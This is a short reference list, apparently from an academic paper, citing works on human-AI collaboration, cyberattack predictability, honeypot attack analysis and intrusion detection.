Wilson, H.J., & Daugherty, P.R. (2018, July-August). Collaborative intelligence: Humans and AI are joining forces. HBR. Retrieved from https://hbr.org/2018/07/collaborative-intelligence-humans-and-ai-are-joining-forces

Yu-Zhong, C., Zi-Gang Huang, Xu, S., & Ying-Cheng, L. (2015). Spatiotemporal patterns and predictability of cyberattacks. PLoS One, 10(5). Retrieved from https://franklin.captechu.edu:2074/docview/1685181563?accountid=44888

Zhan, Z., Xu, M., & Xu, S. (2013). Characterizing honeypot-captured cyber attacks: Statistical framework and case study. IEEE Transactions on Information Forensics and Security, 8(11), pp.1775–1789. doi: 10.1109/TIFS.2013.2279800

Zuech, R., Khoshgoftaar, T. M., & Wald, R. (2015). Intrusion detection and big heterogeneous data: A survey. Journal of Big Data, 2(1), 1–41. Retrieved from http://franklin.captechu.edu:2123/10.1186/s40537-015-0013-4